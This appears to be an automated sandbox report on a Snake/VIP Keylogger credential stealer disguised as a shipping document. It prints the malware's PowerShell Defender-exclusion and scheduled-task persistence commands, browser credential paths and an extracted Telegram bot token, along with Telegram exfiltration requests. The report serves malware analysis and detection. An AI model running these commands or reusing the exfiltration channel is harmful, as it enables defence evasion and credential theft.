14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3c0e5:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x7ff05:$a2: \Comodo\Dragon\User Data\Default\Login Data 0xc3b25:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3b788:$a3: \Google\Chrome\User Data\Default\Login Data 0x7f5a8:$a3: \Google\Chrome\User Data\Default\Login Data 0xc31c8:$a3: \Google\Chrome\User Data\Default\Login Data 0x3b9e5:$a4: \Orbitum\User Data\Default\Login Data 0x7f805:$a4: \Orbitum\User Data\Default\Login Data 0xc3425:$a4: \Orbitum\User Data\Default\Login Data 0x3c3c4:$a5: \Kometa\User Data\Default\Login Data 0x801e4:$a5: \Kometa\User Data\Default\Login Data 0xc3e04:$a5: \Kometa\User Data\Default\Login Data
14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2ef1b:$s1: UnHook 0x72d3b:$s1: UnHook 0xb695b:$s1: UnHook 0x2ef22:$s2: SetHook 0x72d42:$s2: SetHook 0xb6962:$s2: SetHook 0x2ef2a:$s3: CallNextHook 0x72d4a:$s3: CallNextHook 0xb696a:$s3: CallNextHook 0x2ef37:$s4: _hook 0x72d57:$s4: _hook 0xb6977:$s4: _hook
Click to see the 44 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Shipment advice H-BL Draft.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Shipment advice H-BL Draft.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Shipment advice H-BL Draft.exe", ParentImage: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe, ParentProcessId: 7548, ParentProcessName: Shipment advice H-BL Draft.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Shipment advice H-BL Draft.exe", ProcessId: 8000, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PrcGlGVKeUCXxg" /XML "C:\Users\user\AppData\Local\Temp\tmp110D.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PrcGlGVKeUCXxg" /XML "C:\Users\user\AppData\Local\Temp\tmp110D.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe, ParentImage: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe, ParentProcessId: 1340, ParentProcessName: PrcGlGVKeUCXxg.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PrcGlGVKeUCXxg" /XML "C:\Users\user\AppData\Local\Temp\tmp110D.tmp", ProcessId: 1208, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PrcGlGVKeUCXxg" /XML "C:\Users\user\AppData\Local\Temp\tmpFBC0.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PrcGlGVKeUCXxg" /XML "C:\Users\user\AppData\Local\Temp\tmpFBC0.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\Shipment advice H-BL Draft.exe", ParentImage: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe, ParentProcessId: 7548, ParentProcessName: Shipment advice H-BL Draft.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PrcGlGVKeUCXxg" /XML "C:\Users\user\AppData\Local\Temp\tmpFBC0.tmp", ProcessId: 8120, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Shipment advice H-BL Draft.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Shipment advice H-BL Draft.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Shipment advice H-BL Draft.exe", ParentImage: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe, ParentProcessId: 7548, ParentProcessName: Shipment advice H-BL Draft.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Shipment advice H-BL Draft.exe", ProcessId: 8000, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PrcGlGVKeUCXxg" /XML "C:\Users\user\AppData\Local\Temp\tmpFBC0.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PrcGlGVKeUCXxg" /XML "C:\Users\user\AppData\Local\Temp\tmpFBC0.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\Shipment advice H-BL Draft.exe", ParentImage: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe, ParentProcessId: 7548, ParentProcessName: Shipment advice H-BL Draft.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PrcGlGVKeUCXxg" /XML "C:\Users\user\AppData\Local\Temp\tmpFBC0.tmp", ProcessId: 8120, ProcessName: schtasks.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T19:02:40.073563+0100	2803305	3	Unknown Traffic	192.168.2.4	49718	104.21.32.1	443	TCP
2025-03-07T19:02:43.664857+0100	2803305	3	Unknown Traffic	192.168.2.4	49726	104.21.32.1	443	TCP
2025-03-07T19:02:44.721817+0100	2803305	3	Unknown Traffic	192.168.2.4	49727	104.21.32.1	443	TCP
2025-03-07T19:02:56.715434+0100	2803305	3	Unknown Traffic	192.168.2.4	49739	104.21.32.1	443	TCP
2025-03-07T19:02:58.950444+0100	2803305	3	Unknown Traffic	192.168.2.4	49741	104.21.32.1	443	TCP
2025-03-07T19:03:02.772426+0100	2803305	3	Unknown Traffic	192.168.2.4	49745	104.21.32.1	443	TCP
2025-03-07T19:03:06.352528+0100	2803305	3	Unknown Traffic	192.168.2.4	49747	104.21.32.1	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T19:02:32.930833+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49716	193.122.6.168	80	TCP
2025-03-07T19:02:36.618332+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49716	193.122.6.168	80	TCP
2025-03-07T19:02:38.774582+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49719	193.122.6.168	80	TCP
2025-03-07T19:02:40.883982+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49724	193.122.6.168	80	TCP
2025-03-07T19:02:42.243262+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49719	193.122.6.168	80	TCP
2025-03-07T19:02:45.493411+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49730	193.122.6.168	80	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T19:03:09.926380+0100	1810007	1	Potentially Bad Traffic	192.168.2.4	49751	149.154.167.220	443	TCP
2025-03-07T19:03:16.787087+0100	1810007	1	Potentially Bad Traffic	192.168.2.4	49755	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Shipment advice H-BL Draft.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe

Avira: detection malicious, Label: TR/AD.SnakeStealer.joxcl

Found malware configuration

Source: 0000000D.00000002.3718301984.00000000029A1000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "Telegram", "Bot Token": "7699178513:AAEhuKQBbaAxJ54evVaAuMwZLV8FZ2cw8Rc", "Chat id": "6744331132"}
Source: 0000000D.00000002.3718301984.00000000029A1000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "Telegram", "Token": "7699178513:AAEhuKQBbaAxJ54evVaAuMwZLV8FZ2cw8Rc", "Chat_id": "6744331132", "Version": "4.4"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe

ReversingLabs: Detection: 60%

Multi AV Scanner detection for submitted file

Source: Shipment advice H-BL Draft.exe	Virustotal: Detection: 63%			Perma Link
Source: Shipment advice H-BL Draft.exe	ReversingLabs: Detection: 60%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.raw.unpack	String decryptor: 7699178513:AAEhuKQBbaAxJ54evVaAuMwZLV8FZ2cw8Rc
Source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.raw.unpack	String decryptor: 6744331132
Source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.raw.unpack	String decryptor:
Source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.raw.unpack	String decryptor: 7699178513:AAEhuKQBbaAxJ54evVaAuMwZLV8FZ2cw8Rc
Source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.raw.unpack	String decryptor: 6744331132
Source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.raw.unpack	String decryptor:

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: Shipment advice H-BL Draft.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49717 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49722 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49754 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49755 version: TLS 1.2

Source: Shipment advice H-BL Draft.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 4x nop then jmp 07CC2934h	0_2_07CC2B38
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 4x nop then jmp 0280F45Dh	13_2_0280F2C0
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 4x nop then jmp 0280F45Dh	13_2_0280F4AC
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 4x nop then jmp 0280FC19h	13_2_0280F970
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 4x nop then jmp 06693308h	13_2_06692EF0
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 4x nop then jmp 06692D41h	13_2_06692A90
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 4x nop then jmp 0669D919h	13_2_0669D670
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	13_2_06690673
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 4x nop then jmp 06693308h	13_2_06693236
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 4x nop then jmp 0669D4C1h	13_2_0669D218
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 4x nop then jmp 0669DD71h	13_2_0669DAC8
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 4x nop then jmp 0669E621h	13_2_0669E378
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 4x nop then jmp 0669E1C9h	13_2_0669DF20
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 4x nop then jmp 06690D0Dh	13_2_06690B30
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 4x nop then jmp 066916F8h	13_2_06690B30
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 4x nop then jmp 0669EA79h	13_2_0669E7D0
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	13_2_06690040
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	13_2_06690853
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 4x nop then jmp 0669EED1h	13_2_0669EC28
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 4x nop then jmp 0669F781h	13_2_0669F4D8
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 4x nop then jmp 0669F329h	13_2_0669F080
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 4x nop then jmp 0669FBD9h	13_2_0669F930
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 4x nop then jmp 0669D069h	13_2_0669CDC0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 07781B5Ch	14_2_07781D60
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 0148F45Dh	18_2_0148F2C0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 0148F45Dh	18_2_0148F4AC
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 0148FC19h	18_2_0148F961
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056C7EB5h	18_2_056C7B78
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056C9280h	18_2_056C8FB0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056CC82Fh	18_2_056CC560
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056CA83Fh	18_2_056CA570
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056C0FF1h	18_2_056C0D48
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056CE81Fh	18_2_056CE550
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056CECAFh	18_2_056CE9E0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056C18A1h	18_2_056C15F8
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056CCCBFh	18_2_056CC9F0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056C1449h	18_2_056C11A0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056C3709h	18_2_056C3460
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056C02E9h	18_2_056C0040
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056CBF0Fh	18_2_056CBC40
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056C9F1Fh	18_2_056C9C50
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056C62D9h	18_2_056C6030
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056CDEFFh	18_2_056CDC30
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056C32B1h	18_2_056C3008
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056CA3AFh	18_2_056CA0E0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056C0B99h	18_2_056C08F0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056CE38Fh	18_2_056CE0C0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056CC39Fh	18_2_056CC0D0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056C6733h	18_2_056C6488
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056C0741h	18_2_056C0498
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056C2A01h	18_2_056C2758
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056C55D1h	18_2_056C5328
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056C79C9h	18_2_056C7720
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056CB5EFh	18_2_056CB320
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056C25A9h	18_2_056C2300
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056CF5CFh	18_2_056CF300
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056CD5DFh	18_2_056CD310
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056C9A8Fh	18_2_056C97C0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056C5E81h	18_2_056C5BD8
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056CDA6Fh	18_2_056CD7A0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056C2E59h	18_2_056C2BB0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056CBA7Fh	18_2_056CB7B0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056C5A29h	18_2_056C5780
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056CFA5Fh	18_2_056CF790
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056C4D21h	18_2_056C4A78
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056C7119h	18_2_056C6E70
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056CF13Fh	18_2_056CEE70
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056C1CF9h	18_2_056C1A50
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056C48C9h	18_2_056C4620
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056CACCFh	18_2_056CAA00
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056C6CC1h	18_2_056C6A18
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056C7571h	18_2_056C72C8
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056C5179h	18_2_056C4ED0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056C2151h	18_2_056C1EA8
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056CD14Fh	18_2_056CCE80
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 4x nop then jmp 056CB15Fh	18_2_056CAE90

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.4:49751 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.4:49755 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:704672%0D%0ADate%20and%20Time:%2009/03/2025%20/%2004:02:30%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20704672%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:704672%0D%0ADate%20and%20Time:%2009/03/2025%20/%2003:29:33%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20704672%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.32.1 104.21.32.1
Source: Joe Sandbox View	IP Address: 104.21.32.1 104.21.32.1
Source: Joe Sandbox View	IP Address: 193.122.6.168 193.122.6.168

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49716 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49719 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49724 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49730 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49727 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49745 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49747 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49739 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49726 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49718 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49741 -> 104.21.32.1:443

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
